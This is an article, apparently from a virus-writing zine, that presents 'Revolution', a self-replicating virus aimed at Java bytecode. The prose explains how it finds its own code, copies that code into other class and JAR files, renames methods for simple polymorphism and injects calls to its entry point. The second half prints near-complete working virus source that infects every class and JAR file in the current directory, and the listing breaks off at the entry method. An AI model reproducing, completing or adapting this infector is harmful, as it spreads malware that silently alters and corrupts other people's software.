┌───────────────────────┐
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │
│ █ █ █ █ █ █ │
│ █ █ █ █ █▀▀▀▀ │
│ █ █ █ █ ▄ │
│ ▄▄▄▄▄ │
│ █ █ │
│ █ █ │
│ █▄▄▄█ │
│ ▄ ▄ │
│ █ █ │
│ █ █ │
│ █▄▄▄█ │
Self-Extraction Using Reachability │ ▄▄▄▄▄ │
Analysis and Replication in Java │ █ │
│ █ │
~ r3s1stanc3 └───────────────────█ ──┘
Revolution
│
├── Makefile
├── Revolution.java
├── revolution.txt
│
└── demoSource
│
├── InterFace.java
├── Chained.java
├── Main.java
├── Rec.java
└── NamingConflicts.java
Download
revolution.zip
───[ Table of Contents ]─────────────────────────────────────────────────────
0 - Intro
1 - The Class-File API
2 - Shaking the Tree
3 - Moving Around
4 - We're Moving, but Not Running
5 - Why Is This Cool?
6 - Shoutouts
7 - References
8 - Source Code
───[ 0 - Intro ]─────────────────────────────────────────────────────────────
It's been a while since I polished up HandJar[0] and wrote ClassWar[1]. Both
viruses work similarly by generating Java source code and compiling it to
create an entrypoint. This technique depends on the existence of a Java
compiler toolchain.
My previous work performed the infection by simply copying files into the
host file and hooking the entrypoint using the `Main-Class` attribute in
`MANIFEST.MF`, or by wrapping an existing class and calling into the old
class using reflection. I could never be bothered to do something at the JVM
bytecode level. It was too much work to understand the low-level file format,
parse and modify the code, and keep track of and update offsets. Sure, it has
been done by others[2][3][4], but I never tried it. One could say I was lazy
and waiting for a high-level API to perform low-level bytecode manipulation.
And boy, oh boy, did the Java team deliver... Java 24 introduced a new,
interesting API into the standard library: the Class-File API[5]. This API
allows Java class files to be read, modified, and written without having to
worry about the low-level details of the class file format.
This API opens some powerful possibilities that I will explore in this
article:
- Perform reachability analysis to dynamically extract all methods called
from a specified starting point (e.g. the virus entrypoint)
- Move those methods into an existing Java class file
- Inject a call to the entrypoint into any existing method in the class file
using bytecode manipulation
I implemented a PoC using the new API to do exactly that. As the logical next
step after ClassWar, I called it Revolution.
───[ 1 - The Class-File API ]────────────────────────────────────────────────
The new API is really powerful and allows for many shenanigans, but for now,
there are only a few relevant classes we need to write a virus:
- `ClassModel`[6]: a parsed class file
- `MethodModel`[7]: method metadata (name, return type, and parameters)
- `CodeModel`[8]: the actual bytecode instructions of a `MethodModel`
- `ClassTransform`[9]: modifies a class file
Getting instances of those classes is as easy as calling
`ClassFile.of().parse(content)` to get a `ClassModel`,
`classModel.methods()` to access all methods in a class, and
`methodModel.code()` to access the `CodeModel`.
───[ 2 - Shaking the Tree ]──────────────────────────────────────────────────
Tree shaking[10] is a kind of dead-code elimination used to find and remove
dead code, e.g. code that is never called. We can flip the idea and find only
the code that actually _is_ executed when searching from a specified starting
point, giving us a nice and simple reachability analysis.
Knowing the entrypoint of the virus, we can start from there and walk through
the call stack, building a dependency tree of all the code the virus needs to
execute.
Java allows us to dynamically retrieve the name of the class and method
currently being executed from the runtime, so we do not need to store the
name of the entrypoint inside the virus; we can calculate it when the
entrypoint is executed.
For simplicity, this PoC places some restrictions on how the code must be
written for the reachability analysis to work. With a bit more work, the
analysis can be extended to support every language feature there is. For now,
the restrictions are as follows:
- Only static methods (preferably private, so consumers of an infected class
don't see them)
- No `switch` over `enum`s, as this produces some peculiar bytecode and I
didn't have time to figure that one out
- No method references (e.g. `List.of(1).forEach(System.out::println)`) for
the same reason as above
- No runtime reflection
- The entrypoint must be a `static void` method with zero parameters (not
actually a restriction of the reachability analysis, but it makes calling
the entrypoint in an infected class file easier)
This isn't much of a restriction, since any Java code can be rewritten like
this. We just cannot use classes to carry state and instead have to pass
state around as method parameters, e.g. in `Map`s. `switch` over `enum`s can
be rewritten as `if`/`else` constructs, and method references can be
rewritten as lambdas (`i -> System.out.println(i)` in the example above).
When the code is structured with these restrictions in mind, it's pretty easy
to perform a breadth-first search[11] of all the methods called from any
starting method.
Java bytecode only knows a few ways to call a method:
- `invokedynamic`[12]
- `invokeinterface`[13]
- `invokespecial`[14]
- `invokestatic`[15]
- `invokevirtual`[16]
Analyzing those five bytecode instructions gives us a simple way to build a
call tree. The new Class-File API makes it easy to iterate over the
instructions of a method's `CodeModel` and perform the reachability analysis.
We just look at those instructions, check which methods are invoked, and add
the method to the dependency tree if it is not from the standard library.
The code could even be spread across multiple classes, but then the methods
cannot be `private`.
This reachability analysis only happens at the method level, not at the
bytecode level. So, if a method contains dead code, it will not be removed.
───[ 3 - Moving Around ]─────────────────────────────────────────────────────
Okay, now we know the dependencies of our code. What comes next? We need to
actually move the code into a host file. We can more or less just copy all
`MethodModel`s, along with their `CodeModel`s, into the host file. Since
`static` methods in Java still carry a reference to their enclosing class
(e.g. `MyClass#foo`), we need to adjust the reference to use the name of the
host class.
Here we can also implement a really basic form of polymorphism: since we are
already adjusting all references, we can also randomly rename the methods.
This has two advantages:
- No conflicts with existing methods of the class. We simply generate new
random values until we find a name that isn't already used
- No deterministic method names to use as patterns for detecting the virus.
The code itself still contains patterns that should make detection
trivial, but actually morphing the code is left as an exercise to the
reader (or me, but I'm running out of time for this submission...)
───[ 4 - We're Moving, but Not Running ]─────────────────────────────────────
It's all fun and games up to this point. We dynamically extracted all the
logic our virus needs and moved it into a host file, but it never gets
executed...
A few entrypoint techniques have already been explored in Java, e.g. changing
the `Main-Class` attribute in `MANIFEST.MF` to point to the virus and calling
the original entrypoint from there (HandJar), wrapping classes using
reflection, and injecting a `static` block to call the virus (ClassWar).
Those techniques are somewhat boring and predictable when we're already
operating at the bytecode level of the class file. Since the entrypoint is a
`static` method without any parameters, we just need to use `invokestatic`
somewhere in the infected class. Using
`ClassTransform#transformingMethodBodies`[17], we can just pick a random
method from the host class and inject an `invokestatic` instruction. I
decided to inject the call before every `*return` instruction so that, no
matter which branch is executed, the entrypoint is called. `CodeBuilder`[18]
makes this easy, too.
Now, whenever the method we randomly picked gets executed by the original
code, the virus is executed, too.
───[ 5 - Why Is This Cool? ]─────────────────────────────────────────────────
We are able to infect JVM bytecode by directly modifying it, without having
to take care of the gritty little details of the low-level format, like
rewriting offsets and header fields. All that is hidden behind a nice,
ergonomic API.
We also now have a nice, self-contained, and fully independent way to collect
all methods that belong to the virus. We don't really have to know where the
code is stored; we just need the name of the class and method of the
entrypoint. We can get both dynamically from the Java runtime. From there, we
just shake until we have nothing left but the virus-relevant methods, then
move those to the next target. It keeps working as is, even when we extend
the functionality of the virus.
Revolution offers a nice, extensible basis for viruses targeting Java
bytecode that can be used to explore new EPO techniques, split the code and
inject parts of it into different classes, implement polymorphism (e.g.
inlining or outlining methods and injecting junk code), and even achieve
metamorphism by rewriting certain constructs into different but equivalent
code. Hh86 used the exception table for EPO[19], and I plan on exploring this
and other EPO techniques based on this framework.
All this works not only for JAR files, but also for class files that are not
in an archive. Actually, I don't care at all about the executed host file,
since one can load the contents of any class file loaded by a JVM instance
using `ClassLoader#getResourceAsStream`[20].
I think that's a kind of elegant and cool new way to infect targets that run
on the JVM.
───[ 6 - Shoutouts ]─────────────────────────────────────────────────────────
- SPTH for being a kind of mentor all those years ago and for always keeping
me interested in self-replicating code. Hope you're doing well, wherever
you are right now.
- TMZ and the whole tmp.0ut staff for continuing to release a VX ezine
regularly, for the time they put into reviews, and for giving me the
opportunity to release articles from time to time. Thanks a lot, and see
you in the next issue!
- Peter Ferrie for his devastating analysis of HandJar.A[21], which hurt my
fragile little ego on one hand, but also motivated me years later to pick
up the work again and continue down this path. I just saw that you're
judging the Rootkit Competition for this volume. Nice to see you're still
participating in this beautiful side of the VX scene.
- The Java team for specifying and implementing the Class-File API and
thereby offering an enterprise(TM) API for writing cool new Java
infectors.
- All the other beautiful people with whom I've crossed paths as they
dipped their toes into this scene over the years, came up with exciting
new ideas, and kept the work from getting boring.
───[ 7 - References ]────────────────────────────────────────────────────────
[0]
https://tmpout.sh/3/28.html
[1]
https://tmpout.sh/3/29.html
[2]
https://86hh.github.io/valhalla/issue%204/codes/hh86/GRIMES/GRIMES.txt
[3]
https://www.f-secure.com/v-descs/sbrew
[4]
https://threats.kaspersky.com/en/threat/Virus.Java.BeanHive/
[5]
https://openjdk.org/jeps/484
[6]
https://docs.oracle.com/en/java/javase/24/docs/api/java.base/java/lang/classfile/ClassModel.html
[7]
https://docs.oracle.com/en/java/javase/24/docs/api/java.base/java/lang/classfile/MethodModel.html
[8]
https://docs.oracle.com/en/java/javase/24/docs/api/java.base/java/lang/classfile/CodeModel.html
[9]
https://docs.oracle.com/en/java/javase/24/docs/api/java.base/java/lang/classfile/ClassTransform.html
[10]
https://en.wikipedia.org/wiki/Tree_shaking
[11]
https://en.wikipedia.org/wiki/Breadth-first_search
[12]
https://docs.oracle.com/javase/specs/jvms/se24/html/jvms-6.html#jvms-6.5.invokedynamic
[13]
https://docs.oracle.com/javase/specs/jvms/se24/html/jvms-6.html#jvms-6.5.invokeinterface
[14]
https://docs.oracle.com/javase/specs/jvms/se24/html/jvms-6.html#jvms-6.5.invokespecial
[15]
https://docs.oracle.com/javase/specs/jvms/se24/html/jvms-6.html#jvms-6.5.invokestatic
[16]
https://docs.oracle.com/javase/specs/jvms/se24/html/jvms-6.html#jvms-6.5.invokevirtual
[17]
https://docs.oracle.com/en/java/javase/24/docs/api/java.base/java/lang/classfile/ClassTransform.html#transformingMethodBodies(java.util.function.Predicate,java.lang.classfile.CodeTransform)
[18]
https://docs.oracle.com/en/java/javase/24/docs/api/java.base/java/lang/classfile/CodeBuilder.html
[19]
https://86hh.github.io/valhalla/issue%204/articles/hh86/CLASSI.TXT
[20]
https://docs.oracle.com/en/java/javase/24/docs/api/java.base/java/lang/ClassLoader.html#getResourceAsStream(java.lang.String)
[21]
https://www.virusbulletin.com/virusbulletin/2013/12/hands-cookie-jar
───[ 8 - Source Code ]─────────────────────────────────────────────────────
----------------------------[ Revolution.java ]----------------------------
/// Run `make demo` to build the virus and demo sources into `./demo`. Requires Java 24.
import static java.lang.classfile.ClassFile.ACC_STATIC;
import static java.lang.constant.ConstantDescs.CLASS_INIT_NAME;
import static java.lang.constant.ConstantDescs.MTD_void;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.classfile.*;
import java.lang.classfile.constantpool.*;
import java.lang.classfile.instruction.*;
import java.lang.constant.*;
import java.lang.reflect.AccessFlag;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.StandardCopyOption;
import java.security.SecureRandom;
import java.util.*;
import java.util.function.Consumer;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
import java.util.jar.JarOutputStream;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.util.stream.StreamSupport;
/// Revolution is a self-replicating virus targeting JVM bytecode.
///
/// It heavily depends on the new [java.lang.classfile] API and therefore needs
/// at least Java 24 to work. It can infect plain `.class` files or whole Jar
/// archives.
///
/// When an infected JVM class or archive is executed, it parses itself and
/// performs reachability analysis to extract a dependency tree of itself (e.g.
/// all methods that are called during the execution of the virus).
///
/// It then searches the current directory for `*.jar` and `*.class` files,
/// checks if they are already infected by checkig for the existence of a file
/// named [#MARKER] in the Jar archive or a constant pool entry with the value of
/// [#MARKER] in a class file.
///
/// It then copies its own methods into the class (or a random class in the
/// archive), renames the methods to get some trivial polymorphism and injects an
/// invokation of its own entrypoint into a random method of the target class.
public class Revolution {
private static final String MARKER = "doesthislookinfected?";
/// String
private static final String KEY_OWNER = "owner";
/// String
private static final String KEY_NAME = "name";
/// String
private static final String KEY_DESCRIPTOR = "descriptor";
/// Map<String, ClassModel>
private static final String KEY_CLASSES = "classes";
/// Map<MemberKey, MethodModel>
private static final String KEY_METHODS = "methods";
/// Map<String, Integer>
private static final String KEY_VERSION = "version";
private static final String KEY_MAJOR = "major";
private static final String KEY_MINOR = "minor";
/// Descriptor to identify a class member: Owning class, method name,
/// method signature/descriptor
private static Map<String, String> memberKey(String owner, String name, String descriptor) {
return null == descriptor
? Map.of(
KEY_OWNER, owner,
KEY_NAME, name)
: Map.of(
KEY_OWNER, owner,
KEY_NAME, name,
KEY_DESCRIPTOR, descriptor);
}
@SuppressWarnings("unchecked")
private static Map<String, ClassModel> classes(Map<?, Map<?, ?>> deps) {
return (Map<String, ClassModel>) deps.get(KEY_CLASSES);
}
@SuppressWarnings("unchecked")
private static Map<Map<String, String>, MethodModel> methods(Map<?, Map<?, ?>> deps) {
return (Map<Map<String, String>, MethodModel>) deps.get(KEY_METHODS);
}
@SuppressWarnings("unchecked")
private static Map<String, Integer> version(Map<?, Map<?, ?>> deps) {
return (Map<String, Integer>) deps.get(KEY_VERSION);
}
/// Check target of an [InvokeInstruction].
private static void handleInvoke(
InvokeInstruction invoke,
Deque<Map<String, String>> queue,
Map<Map<String, String>, MethodModel> visitedMethods) {
var owner = invoke.owner().name().stringValue();
if (isJdkClass(owner)) {
return;
}
var key = memberKey(owner, invoke.name().stringValue(), invoke.typeSymbol().descriptorString());
if (!visitedMethods.containsKey(key)) {
queue.add(key);
}
}
/// Check targets of [InvokeDynamicInstruction]s TODO: method references
private static void handleInvokeDynamic(
InvokeDynamicInstruction indy,
Deque<Map<String, String>> queue,
Map<Map<String, String>, MethodModel> visited) {
for (var arg : indy.invokedynamic().bootstrap().arguments()) {
if (arg instanceof MethodHandleEntry mhe) {
var owner = mhe.reference().owner().name().stringValue();
if (!isJdkClass(owner)) {
var name = mhe.asSymbol().methodName();
var desc = mhe.asSymbol().lookupDescriptor();
var key = memberKey(owner, name, desc);
if (!visited.containsKey(key)) {
queue.add(key);
}
}
}
}
}
/// Check targets of
/// [java.lang.classfile.instruction.ConstantInstruction.LoadConstantInstruction]s, e.g.
/// constants used by the virus.
private static void collectLdcClassRef(
Map<String, ClassModel> modelCache,
ConstantInstruction.LoadConstantInstruction ldc,
Map<String, ClassModel> visitedClasses) {
if (ldc.constantEntry() instanceof ClassEntry ce) {
var name = ce.name().stringValue();
if (!isJdkClass(name)) {
var m = modelCache.get(name);
if (m != null) {
visitedClasses.putIfAbsent(name, m);
}
}
}
}
private static byte[] loadClass(String className) {
try (var is = Revolution.class
.getClassLoader()
.getResourceAsStream(className.replace('.', '/') + ".class")) {
return null == is ? null : is.readAllBytes();
} catch (IOException e) {
return null;
}
}
/// Extract the virus' dependency tree from a Jar or class file by performing
/// reachability analysis on the bytecode, starting from the virus' entry point.
private static Optional<Map<String, Map<?, ?>>> extract(
String className, String methodName, String descriptor) throws IOException {
var cf = ClassFile.of();
var bytecodeCache = new HashMap<String, byte[]>();
var modelCache = new HashMap<String, ClassModel>();
var internalName = className.replace('.', '/');
var visitedClasses = new LinkedHashMap<String, ClassModel>();
var visitedMethods = new LinkedHashMap<Map<String, String>, MethodModel>();
var queue = new ArrayDeque<Map<String, String>>();
queue.add(memberKey(internalName, methodName, descriptor));
// build dependency tree
while (!queue.isEmpty()) {
var work = queue.poll();
if (visitedMethods.containsKey(work)) {
continue;
}
var workOwner = work.get(KEY_OWNER);
var bytecode = bytecodeCache.computeIfAbsent(workOwner, o -> loadClass(o));
if (bytecode == null) {
continue;
}
var classModel = modelCache.computeIfAbsent(internalName, k -> cf.parse(bytecode));
visitedClasses.putIfAbsent(workOwner, classModel);
for (var method : classModel.methods()) {
var workName = work.get(KEY_NAME);
if (!method.methodName().stringValue().equals(workName)) {
continue;
}
var workDesc = work.get(KEY_DESCRIPTOR);
var desc = method.methodType().stringValue();
if (workDesc != null && !desc.equals(workDesc)) {
continue;
}
var key = memberKey(workOwner, workName, desc);
if (visitedMethods.containsKey(key)) {
break;
}
visitedMethods.put(key, method);
method
.code()
.ifPresent(
code -> {
for (var element : code) {
switch (element) {
case InvokeInstruction invoke -> handleInvoke(invoke, queue, visitedMethods);
case ConstantInstruction.LoadConstantInstruction ldc ->
collectLdcClassRef(modelCache, ldc, visitedClasses);
case InvokeDynamicInstruction indy ->
handleInvokeDynamic(indy, queue, visitedMethods);
default -> {
/* no additional references */
}
}
}
});
if (workDesc != null) {
break;
}
}
}
// Highest class version of all virus related classes. This determines the
// lowest class version
// we can try to infect.
var highestVersion = Collections.max(modelCache.values(), versionComparator());
return Optional.of(
Map.of(
KEY_CLASSES,
visitedClasses,
KEY_METHODS,
visitedMethods,
KEY_VERSION,
Map.of(
KEY_MAJOR,
highestVersion.majorVersion(),
KEY_MINOR,
highestVersion.minorVersion())));
}
private static Comparator<ClassModel> versionComparator() {
return Comparator.comparing((ClassModel cm) -> cm.majorVersion())
.thenComparing(cm -> cm.minorVersion());
}
// Assuming those classes are always available, they are excluded from the
// dependency tree.
private static boolean isJdkClass(String internalName) {
return internalName.startsWith("java/")
|| internalName.startsWith("javax/")
|| internalName.startsWith("jdk/")
|| internalName.startsWith("sun/")
|| internalName.startsWith("com/sun/")
|| internalName.startsWith("com/oracle/")
|| internalName.startsWith("org/xml/")
|| internalName.startsWith("org/w3c/")
|| internalName.startsWith("org/ietf/")
|| internalName.startsWith("org/omg/")
|| internalName.startsWith("netscape/");
}
private static String unusedRandomName(Set<String> usedNames) {
String result;
do {
result = randomString();
} while (usedNames.contains(result));
return result;
}
private static String randomString() {
var alphabet = "abcdefghijklmnopqrstuvwxyz".toCharArray();
var rng = new SecureRandom();
var chars = new char[32];
for (int i = 0; i < chars.length; i++) {
chars[i] = alphabet[rng.nextInt(alphabet.length)];
}
return new String(chars);
}
/// Merge the virus' code into the target class file and inject a call to the
/// virus' entry point.
private static byte[] merge(
Map<?, Map<?, ?>> deps,
String entryPoint,
String targetInternalName,
ClassFile cf,
ClassModel targetModel) {
// build rename maps to rename all references to the virus' methods to match the
// target class
var classRenameMap = buildClassRenameMap(deps, targetInternalName);
var usedNames = targetModel.methods().stream()
.map(mm -> mm.methodName().stringValue())
.collect(Collectors.toUnmodifiableSet());
var methodRenameMap = buildMethodRenameMap(deps, classRenameMap).keySet().stream()
// rename virus methods to get polymorphism
.map(s -> Map.entry(s, unusedRandomName(usedNames)))
.collect(Collectors.toMap(e -> e.getKey(), e -> e.getValue()));
var remappedMethods = collectRemappedMethods(cf, deps, classRenameMap, methodRenameMap);
// candidate methods to inject a call to the entrypoint
var methods = targetModel.methods().stream().filter(mm -> mm.code().isPresent()).toList();
// new name of the entrypoint after renaming all methods
var newEntry = methodRenameMap.entrySet().stream()
.filter(
e -> {
var parts = e.getKey().split("#");
return parts.length >= 2 && parts[1].equals(entryPoint);
})
.map(e -> e.getValue())
.findFirst()
.get();
// ClassTransform to inject a call to the virus entrypoint into a random method
// or into the
// static `<clinit>` block
var inject = injectEntryCall(methods, targetInternalName, newEntry);
return cf.transformClass(
targetModel,
inject.andThen(
// insert virus methods into the target class
ClassTransform.endHandler(
cb -> {
for (MethodModel m : remappedMethods)
cb.with(m);
})));
}
private static ClassTransform injectEntryCall(
List<MethodModel> methods, String className, String methodName) {
Consumer<CodeBuilder> injectEntryPoint = cb -> cb.invokestatic(ClassDesc.of(className), methodName, MTD_void);
if (methods.isEmpty()) {
return ClassTransform.endHandler(
cb -> cb.withMethodBody(CLASS_INIT_NAME, MTD_void, ACC_STATIC, injectEntryPoint));
} else {
var targetMethod = methods.get(new SecureRandom().nextInt(methods.size()));
return ClassTransform.transformingMethodBodies(
mm -> mm.equals(targetMethod),
(cb, ce) -> {
if (ce instanceof ReturnInstruction) {
injectEntryPoint.accept(cb);
}
cb.with(ce);
});
}
}
/// Apply the class- and method name changes to the virus code
private static List<MethodModel> collectRemappedMethods(
ClassFile cf,
Map<?, Map<?, ?>> deps,
Map<String, String> classRenameMap,
Map<String, String> methodRenameMap) {
var result = new ArrayList<MethodModel>();
var classes = classes(deps);
var methods = methods(deps);
for (var entry : methods.entrySet()) {
var key = entry.getKey();
var keyOwner = key.get(KEY_OWNER);
var keyName = key.get(KEY_NAME);
var keyDesc = key.get(KEY_DESCRIPTOR);
var model = entry.getValue();
var owner = classes.get(keyOwner);
if (owner == null) {
continue;
}
var resolvedName = methodRenameMap.get(ownerKey(key));
var remappedType = remapMethodType(classRenameMap, model.methodTypeSymbol());
var flags = model.flags().flagsMask();
byte[] scratch = cf.transformClass(
owner,
(cb, ce) -> {
if (ce instanceof MethodModel mm
&& mm.methodName().stringValue().equals(keyName)
&& mm.methodType().stringValue().equals(keyDesc)) {
cb.withMethod(
resolvedName,
remappedType,
flags,
mb -> {
for (MethodElement me : mm) {
if (me instanceof CodeModel code) {
mb.withCode(
cob -> {
remapCode(classRenameMap, methodRenameMap, code, cob);
});
} else {
mb.with(me);
}
}
});
}
});
cf.parse(scratch).methods().stream()
.filter(m -> m.methodName().stringValue().equals(resolvedName))
.findFirst()
.ifPresent(mm -> result.add(mm));
}
return result;
}
private static void remapCode(
Map<String, String> classRenameMap,
Map<String, String> methodRenameMap,
CodeModel source,
CodeBuilder builder) {
for (var element : source) {
remapSingleElement(classRenameMap, methodRenameMap, element, builder);
}
}
/// Rewrite references to the virus' methods or constants to their new names
private static void remapSingleElement(
Map<String, String> classRenameMap,
Map<String, String> methodRenameMap,
CodeElement element,
CodeBuilder builder) {
switch (element) {
case InvokeInstruction inv when inv.opcode() == Opcode.INVOKESPECIAL -> {
var owner = inv.owner().name().stringValue();
var name = inv.name().stringValue();
var desc = inv.typeSymbol().descriptorString();
var newOwner = classRenameMap.getOrDefault(owner, owner);
var newName = classRenameMap.containsKey(owner)
? resolvedMethodName(methodRenameMap, owner, name, desc)
: name;
builder.invokespecial(
ClassDesc.ofInternalName(newOwner),
newName,
remapMethodType(classRenameMap, MethodTypeDesc.ofDescriptor(desc)));
}
case InvokeInstruction invoke -> {
var owner = invoke.owner().name().stringValue();
var name = invoke.name().stringValue();
var desc = invoke.typeSymbol().descriptorString();
var newOwner = classRenameMap.getOrDefault(owner, owner);
var newName = classRenameMap.containsKey(owner)
? resolvedMethodName(methodRenameMap, owner, name, desc)
: name;
var newType = remapMethodType(classRenameMap, MethodTypeDesc.ofDescriptor(desc));
var newOwnerDesc = ClassDesc.ofInternalName(newOwner);
var opcode = invoke.opcode();
if (opcode == Opcode.INVOKEINTERFACE) {
builder.invokeinterface(newOwnerDesc, newName, newType);
} else if (opcode == Opcode.INVOKESTATIC) {
builder.invokestatic(newOwnerDesc, newName, newType, invoke.isInterface());
} else if (opcode == Opcode.INVOKEVIRTUAL) {
builder.invokevirtual(newOwnerDesc, newName, newType);
} else {
builder.with(element);
}
}
case InvokeDynamicInstruction indy -> {
var remappedSiteType = remapMethodType(classRenameMap, indy.typeSymbol());
var remappedArgs = new ArrayList<ConstantDesc>();
for (var arg : indy.invokedynamic().bootstrap().arguments()) {
remappedArgs.add(remapBootstrapArg(classRenameMap, methodRenameMap, arg));
}
var bsmHandle = remapMethodHandle(classRenameMap, methodRenameMap, indy.bootstrapMethod());
builder.invokedynamic(
DynamicCallSiteDesc.of(
bsmHandle,
indy.name().stringValue(),
remappedSiteType,
remappedArgs.toArray(ConstantDesc[]::new)));
}
case ConstantInstruction.LoadConstantInstruction ldc when ldc.constantEntry() instanceof ClassEntry ce -> {
var src = ce.name().stringValue();
var mapped = classRenameMap.getOrDefault(src, src);
builder.ldc(ClassDesc.ofInternalName(mapped));
}
default -> builder.with(element);
}
}
private static ConstantDesc remapBootstrapArg(
Map<String, String> classRenameMap,
Map<String, String> methodRenameMap,
LoadableConstantEntry arg) {
return switch (arg) {
case MethodHandleEntry mhe ->
remapMethodHandle(classRenameMap, methodRenameMap, mhe.asSymbol());
case MethodTypeEntry mte -> remapMethodType(classRenameMap, mte.asSymbol());
case ClassEntry ce -> {
String src = ce.name().stringValue();
yield ClassDesc.ofInternalName(classRenameMap.getOrDefault(src, src));
}
// Strings, integers, longs, floats, doubles - pass through.
default -> arg.constantValue();
};
}
private static DirectMethodHandleDesc remapMethodHandle(
Map<String, String> classRenameMap,
Map<String, String> methodRenameMap,
DirectMethodHandleDesc handle) {
var owner = handle.owner().descriptorString();
var internalOwner = owner.startsWith("L") && owner.endsWith(";")
? owner.substring(1, owner.length() - 1)
: owner;
var newOwner = classRenameMap.getOrDefault(internalOwner, internalOwner);
var newOwnerDesc = ClassDesc.ofInternalName(newOwner);
var newName = classRenameMap.containsKey(internalOwner)
? resolvedMethodName(
methodRenameMap,
internalOwner,
handle.methodName(),
handle.invocationType().descriptorString())
: handle.methodName();
var newType = remapMethodType(classRenameMap, handle.invocationType());
return MethodHandleDesc.ofMethod(handle.kind(), newOwnerDesc, newName, newType);
}
private static String resolvedMethodName(
Map<String, String> methodRenameMap, String owner, String name, String descriptor) {
return methodRenameMap.getOrDefault(owner + "#" + name + "#" + descriptor, name);
}
private static MethodTypeDesc remapMethodType(
Map<String, String> classRenameMap, MethodTypeDesc original) {
var returnType = remapClassDesc(classRenameMap, original.returnType());
var newParams = Stream.of(original.parameterArray())
.map(param -> remapClassDesc(classRenameMap, param))
.toList();
return MethodTypeDesc.of(returnType, newParams);
}
private static ClassDesc remapClassDesc(Map<String, String> classRenameMap, ClassDesc desc) {
if (desc.isArray()) {
return remapClassDesc(classRenameMap, desc.componentType()).arrayType();
}
if (desc.isPrimitive()) {
return desc;
}
var rawDesc = desc.descriptorString();
if (rawDesc.startsWith("L") && rawDesc.endsWith(";")) {
var inner = rawDesc.substring(1, rawDesc.length() - 1);
var mapped = classRenameMap.getOrDefault(inner, inner);
return ClassDesc.ofInternalName(mapped);
}
return desc;
}
private static Map<String, String> buildClassRenameMap(
Map<?, Map<?, ?>> deps, String targetInternalName) {
var map = new HashMap<String, String>();
var classes = classes(deps);
for (var src : classes.keySet()) {
map.put(src, targetInternalName);
}
return map;
}
private static Map<String, String> buildMethodRenameMap(
Map<?, Map<?, ?>> deps, Map<String, String> classRenameMap) {
var claimed = new LinkedHashMap<String, String>();
var rename = new HashMap<String, String>();
var methods = methods(deps);
for (var entry : methods.entrySet()) {
var key = entry.getKey();
var ownerKey = ownerKey(key);
var keyName = key.get(KEY_NAME);
var keyOwner = key.get(KEY_OWNER);
var keyDesc = key.get(KEY_DESCRIPTOR);
var slot = keyName + remapDescriptor(classRenameMap, keyDesc);
if (!claimed.containsKey(slot)) {
claimed.put(slot, ownerKey);
rename.put(ownerKey, keyName);
} else {
rename.put(ownerKey, simpleClassName(keyOwner) + "$" + keyName);
}
}
return rename;
}
private static String remapDescriptor(Map<String, String> classRenameMap, String descriptor) {
var sb = new StringBuilder();
var i = 0;
while (i < descriptor.length()) {
var c = descriptor.charAt(i);
if (c == 'L') {
var end = descriptor.indexOf(';', i);
var cls = descriptor.substring(i + 1, end);
sb.append('L').append(classRenameMap.getOrDefault(cls, cls)).append(';');
i = end + 1;
} else {
sb.append(c);
i++;
}
}
return sb.toString();
}
private static String ownerKey(Map<String, String> key) {
return key.get(KEY_OWNER) + "#" + key.get(KEY_NAME) + "#" + key.get(KEY_DESCRIPTOR);
}
private static String simpleClassName(String internalName) {
var slash = internalName.lastIndexOf('/');
return slash < 0 ? internalName : internalName.substring(slash + 1);
}
private static String methodName() {
return StackWalker.getInstance().walk(s -> s.skip(1).findFirst()).get().getMethodName();
}
private static void infect(String entryClass, String entryMethod) {
try {
var optDeps = Revolution.extract(entryClass, entryMethod, null);
if (optDeps.isEmpty()) {
return;
}
var deps = optDeps.get();
var version = version(deps);
var searchPath = Path.of(".");
classCandidates(searchPath)
.forEach(
target -> processClass(deps, entryMethod, target, version)
.ifPresent(content -> write(target, content)));
jarCandidates(searchPath)
.forEach(
jar -> processJar(jar, deps, entryMethod, version)
.ifPresent(content -> write(jar, content)));
} catch (IOException _) {
}
}
private static void write(Path target, byte[] content) {
Path temp = null;
try {
temp = Files.createTempFile(target.getParent(), "", "");
Files.write(temp, content);
Files.move(temp, target, StandardCopyOption.ATOMIC_MOVE, StandardCopyOption.REPLACE_EXISTING);
} catch (IOException _) {
} finally {
try {
if (null != temp) {
Files.deleteIfExists(temp);
}
} catch (IOException _) {
}
}
}
private static Optional<byte[]> processClass(
Map<?, Map<?, ?>> deps, String entryMethod, Path target, Map<String, Integer> version) {
try {
var targetBytes = Files.readAllBytes(target);
return processClass(deps, entryMethod, targetBytes, version);
} catch (IOException _) {
return Optional.empty();
}
}
private static Optional<byte[]> processClass(
Map<?, Map<?, ?>> deps,
String entryMethod,
byte[] targetBytes,
Map<String, Integer> version) {
var cf = ClassFile.of();
var model = cf.parse(targetBytes);
if (!canInfectClass(model, version)) {
return Optional.empty();
}
var targetName = model.thisClass().name().stringValue();
return Optional.of(merge(deps, entryMethod, targetName, cf, model));
}
private static Optional<byte[]> processJar(
Path target, Map<?, Map<?, ?>> deps, String entryMethod, Map<String, Integer> version) {
try (var jar = new JarFile(target.toFile())) {
var replacements = new HashMap<String, byte[]>();
for (var entry : Collections.list(jar.entries())) {
if (entry.getName().endsWith(".class")) {
var content = jar.getInputStream(entry).readAllBytes();
var done = processClass(deps, entryMethod, content, version);
if (done.isPresent()) {
replacements.put(entry.getName(), done.get());
break;
}
}
}
if (replacements.isEmpty()) {
return Optional.empty();
} else {
// place infection marker
replacements.put(MARKER, MARKER.getBytes(StandardCharsets.UTF_8));
return buildJar(target, replacements);
}
} catch (IOException _) {
return Optional.empty();
}
}
/// Rebuild the Jar file under `target`, keeping all of its contents except the
/// files from the `content` map.
private static Optional<byte[]> buildJar(Path target, Map<String, byte[]> content) {
try (var jar = new JarFile(target.toFile());
var baos = new ByteArrayOutputStream()) {
try (var jos = new JarOutputStream(baos)) {
for (var entry : content.entrySet()) {
jos.putNextEntry(new JarEntry(entry.getKey()));
jos.write(entry.getValue());
}
for (var entry : Collections.list(jar.entries())) {
if (entry.isDirectory() || content.containsKey(entry.getName())) {
continue;
}
jos.putNextEntry(entry);
jos.write(jar.getInputStream(entry).readAllBytes());
}
}
return Optional.of(baos.toByteArray());
} catch (IOException e) {
return Optional.empty();
}
}
/// Virus entrypoint. This is where the magic happens!
private static void entry() {
